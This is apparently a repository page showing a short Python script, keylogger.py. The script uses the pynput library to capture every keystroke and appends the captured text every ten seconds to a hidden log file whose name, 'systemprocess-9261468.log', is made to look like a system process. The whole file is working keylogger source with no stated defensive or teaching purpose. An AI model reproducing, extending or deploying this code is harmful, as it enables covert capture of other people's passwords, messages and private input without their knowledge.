-
Notifications
You must be signed in to change notification settings - Fork 1
/
keylogger.py
executable file
·45 lines (41 loc) · 999 Bytes
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python
import pynput.keyboard
import threading
import os
log = ""
path = "/tmp/systemprocess-9261468.log"
# try:
# os.system("touch " + path)
# except:
# pass
def process_keys(key):
global log
try:
log = log + str(key.char)
except AttributeError:
if key == key.space:
log = log + " "
elif key == key.right:
log = log + ""
elif key == key.left:
log = log + ""
elif key == key.up:
log = log + ""
elif key == key.down:
log = log + ""
else:
log = log + " " + str(key) + " "
def report():
global log
global path
with open(path,"a") as fin:
fin.write(log)
log = ""
fin.close()
timer = threading.Timer(10, report)
timer.start()
def start():
keyboard_listener = pynput.keyboard.Listener(on_press=process_keys)
with keyboard_listener:
report()
keyboard_listener.join()